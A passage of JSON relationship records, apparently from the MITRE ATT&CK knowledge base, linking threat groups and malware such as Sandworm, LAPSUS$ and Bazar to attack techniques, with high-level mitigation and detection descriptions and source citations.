Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"},{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:46:03.782Z","description":"[ROADSWEEP](https://attack.mitre.org/software/S1150) requires four command line arguments to execute correctly, otherwise it will produce a message box and halt execution.(Citation: Mandiant ROADSWEEP August 2022)(Citation: CISA Iran Albanian Attacks September 2022)(Citation: Microsoft Albanian Government Attacks September 2022)\n","relationship_type":"uses","source_ref":"malware--be471c69-12d5-4bcc-9dad-3d42c3dbca4b","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c296b445-a4b5-4e73-91b0-0c6c9f3eed1b","type":"relationship","created":"2020-10-20T15:42:48.349Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-16T17:09:26.487Z","description":"Organizations may intentionally register similar domains to their own to deter adversaries from creating typosquatting domains. Other facets of this technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c298538c-bab6-4982-9b83-17f752358932","type":"relationship","created":"2021-10-12T21:57:25.960Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Gorgon Group Aug 2018","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}],"modified":"2021-10-12T21:57:25.960Z","description":"[Gorgon Group](https://attack.mitre.org/groups/G0078) has obtained and used tools such as [QuasarRAT](https://attack.mitre.org/software/S0262) and [Remcos](https://attack.mitre.org/software/S0332).(Citation: Unit 42 Gorgon Group Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c29ef74c-0ddd-457a-b1e8-70793bbdda85","created":"2023-02-10T18:54:31.671Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T15:30:15.483Z","description":"[SVCReady](https://attack.mitre.org/software/S1064) has the ability to determine if its runtime environment is virtualized.(Citation: HP SVCReady Jun 2022)","relationship_type":"uses","source_ref":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c2a79396-f264-4439-94f1-113e3bf3a6be","type":"relationship","created":"2021-02-16T20:04:52.503Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-23T18:18:43.360Z","description":"Disable Wake-on-LAN if it is not needed within an environment.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c2b48ab4-6a4f-4252-a40c-7f870276b5a7","created":"2022-10-12T12:47:57.381Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T18:47:22.092Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has gathered employee email addresses, including personal accounts, for social engineering and initial access efforts.(Citation: MSTIC DEV-0537 Mar 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c2b4c63c-4524-4058-82ef-c67c5d410291","type":"relationship","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.840Z","description":"Monitor for newly constructed windows registry keys that may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence.","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c2ba1f7a-1951-47df-855b-3f42a60a9901","type":"relationship","created":"2020-05-15T13:43:22.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist DarkVishnya Dec 2018","url":"https://securelist.com/darkvishnya/89169/","description":"Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."}],"modified":"2020-05-15T13:43:22.793Z","description":"[DarkVishnya](https://attack.mitre.org/groups/G0105) used network sniffing to obtain login data. (Citation: Securelist DarkVishnya Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--813636db-3939-4a45-bea9-6113e970c029","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c2bbf923-e30e-4888-894c-7c8ba655c753","created":"2019-06-05T13:57:44.690Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NJCCIC Ursnif Sept 2016","description":"NJCCIC. (2016, September 27). Ursnif. Retrieved September 12, 2024.","url":"https://www.cyber.nj.gov/threat-landscape/malware/trojans/ursnif"},{"source_name":"ProofPoint Ursnif Aug 2016","description":"Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:50:37.024Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has used a peer-to-peer (P2P) network for C2.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c2bc4c63-486f-4c92-9eaa-ece8226ec70c","type":"relationship","created":"2020-02-27T18:17:58.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://adsecurity.org/?p=2293","description":"Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.","source_name":"AdSecurity Cracking Kerberos Dec 2015"}],"modified":"2022-03-08T21:52:42.741Z","description":"Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible.(Citation: AdSecurity Cracking Kerberos Dec 2015)","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c2bfefa1-ccd3-4d8d-82d1-275507546de0","created":"2021-01-07T21:09:51.828Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye NETWIRE March 2019","description":"Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021.","url":"https://www.mandiant.com/resources/blog/dissecting-netwire-phishing-campaigns-usage-process-hollowing"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-13T18:16:43.585Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can use Native API including CreateProcess GetProcessById, and WriteProcessMemory.(Citation: FireEye NETWIRE March 2019)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c2c31b26-7e42-43b6-964b-c959cabc53a4","created":"2022-07-14T17:51:26.906Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BlackBerry Amadey 2020","description":"Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022.","url":"https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T15:36:58.823Z","description":"[Amadey](https://attack.mitre.org/software/S1025) has overwritten registry keys for persistence.(Citation: BlackBerry Amadey 2020)","relationship_type":"uses","source_ref":"malware--05318127-5962-444b-b900-a9dcfe0ff6e9","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c2ccc0af-d25a-4ea2-af7c-a2f71f2aba44","created":"2023-04-15T00:44:21.706Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Defend UNC2452 White Paper","description":"Mandiant. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved January 22, 2021.","url":"https://www.mandiant.com/resources/blog/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-03T15:44:09.181Z","description":"Monitor for changes to account settings associated with users/tenants that may impact defensive logging capabilities, such as the `Update User` and `Change User License` events in the Azure AD audit log.(Citation: Mandiant Defend UNC2452 White Paper)","relationship_type":"detects","source_ref":"x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c2cd39bc-7955-42d3-9e67-b1315b098c07","created":"2023-08-11T15:26:41.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T15:06:41.614Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network Analysis frameworks such as Zeek can be used to capture, decode, and alert on RPC network flows.\n\nWhen a Windows Remote Management connection is opened, the client sends HTTP requests to port 5985 for HTTP or 5986 for HTTPS on the target host. Each HTTP(S) request to the URI “/wsman” is called, and other information is set in the headers. Depending on the operation, the HTTP method may vary (i.e., GET, POST, etc.). This analytic would detect Remote PowerShell, as well as other communications that rely on WinRM. Additionally, it outputs the executable on the client host, the connection information, and the hostname of the target host. Look for network connections to port 5985 and 5986. To really decipher what is going on, these outputs should be fed into something that can do packet analysis.\n\nNote: Traffic to the RPC Endpoint Mapper will always have the destination port of 135. Assuming success, RPC traffic will continue to the endpoint. The endpoint and the client both bind to dynamically assigned ports (on Windows, this is typically greater than 49152). The traffic between the client and endpoint can be detected by looking at traffic to 135 followed by traffic where the source and destination ports are at least 49152.\n","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c2d06b1b-823c-4f94-9b11-79892bca9f4e","created":"2021-10-15T20:27:54.926Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"},{"source_name":"Mandiant-Sandworm-Ukraine-2022","description":"Ken Proska, John Wolfram, Jared Wilson, Dan Black, Keith Lunden, Daniel Kapellmann Zafra, Nathan Brubaker, Tyler Mclellan, Chris Sistrunk. (2023, November 9). Sandworm Disrupts Power in Ukraine Using a Novel Attack Against Operational Technology. Retrieved March 28, 2024.","url":"https://www.mandiant.com/resources/blog/sandworm-disrupts-power-ukraine-operational-technology"},{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T18:52:45.459Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used `move` to transfer files to a network share and has copied payloads--such as [Prestige](https://attack.mitre.org/software/S1058) ransomware--to an Active Directory Domain Controller and distributed via the Default Domain Group Policy Object.(Citation: Dragos Crashoverride 2018)(Citation: Microsoft Prestige ransomware October 2022) Additionally, [Sandworm Team](https://attack.mitre.org/groups/G0034) has transferred an ISO file into the OT network to gain initial access.(Citation: Mandiant-Sandworm-Ukraine-2022)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c2d27932-5a39-46ed-ab21-c1b2f02dee15","created":"2024-09-16T09:30:35.539Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:30:35.539Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) used Windows services to execute [DUSTPAN](https://attack.mitre.org/software/S1158).(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c2d97d3f-c597-4070-acb0-6c000eac5d39","type":"relationship","created":"2019-12-30T21:43:04.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-25T23:30:20.847Z","description":"Do not allow administrator accounts that have permissions to add component software on these services to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems. ","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c2e18006-9caf-494c-9d41-4a4ef5b3bf78","type":"relationship","created":"2020-02-05T16:16:08.603Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-05T16:16:08.603Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e","target_ref":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c2e25ecf-13c9-42c1-87cc-6072343156aa","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c2e58b40-7644-4c0c-92ac-b63a565aca44","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 QUADAGENT July 2018","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}],"modified":"2020-03-17T02:18:35.437Z","description":"[QUADAGENT](https://attack.mitre.org/software/S0269) checks if a value exists within a Registry key in the HKCU hive whose name is the same as the scheduled task it has created.(Citation: Unit 42 QUADAGENT July 2018)","relationship_type":"uses","source_ref":"malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c2e67b83-b3c3-4db4-a18e-74f1cf005132","created":"2020-11-19T16:56:30.219Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason Bazar July 2020","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020.","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles"},{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"},{"source_name":"NCC Group Team9 June 2020","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020.","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T12:46:31.226Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can use HTTP and HTTPS over ports 80 and 443 in C2 communications.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c2e6b2a9-86b7-439a-88ac-dd2c34456d71","type":"relationship","created":"2020-08-13T18:21:08.277Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks MCMD July 2019","url":"https://www.secureworks.com/research/mcmd-malware-analysis","description":"Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."}],"modified":"2020-08-13T18:21:08.277Z","description":"[MCMD](https://attack.mitre.org/software/S0500) has the ability to upload files from an infected device.(Citation: Secureworks MCMD July 2019)","relationship_type":"uses","source_ref":"tool--975737f1-b10d-476f-8bda-3ec26ea57172","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c2e9f949-59a5-4e96-b0dd-0bde1a507909","created":"2020-06-10T19:35:58.136Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"iSight Sandworm Oct 2014","description":"Ward, S.. (2014, October 14). iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign. Retrieved June 10, 2020.","url":"https://web.archive.org/web/20160503234007/https://www.isightpartners.com/2014/10/cve-2014-4114/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:28:16.646Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used Base64 encoding within malware variants.(Citation: iSight Sandworm Oct 2014)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c2eb1354-acae-4452-81dc-72af72ecd2a3","created":"2024-05-20T20:23:00.264Z","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T20:23:00.264Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) used [ShadowPad](https://attack.mitre.org/software/S0596) as a remote access tool to victim environments.(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c2ebda8d-2f91-440c-85b1-36fa969300a5","type":"relationship","created":"2020-11-25T22:46:47.622Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2021-01-06T21:30:47.871Z","description":"In preparation for its attack against the 2018 Winter Olympics, [Sandworm Team](https://attack.mitre.org/groups/G0034) conducted online research of partner organizations listed on an official PyeongChang Olympics partnership site.(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c2f85446-52ef-4446-a5e4-5a6b691156ec","type":"relationship","created":"2020-10-19T16:48:08.551Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-19T16:48:08.551Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de","target_ref":"attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c2fc4ab7-303c-4359-9504-c55e94ea9aab","type":"relationship","created":"2020-11-05T16:01:29.588Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-11-05T16:01:29.588Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c2fcdaf4-f4e7-446d-8b92-7a9df7ccc1f8","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b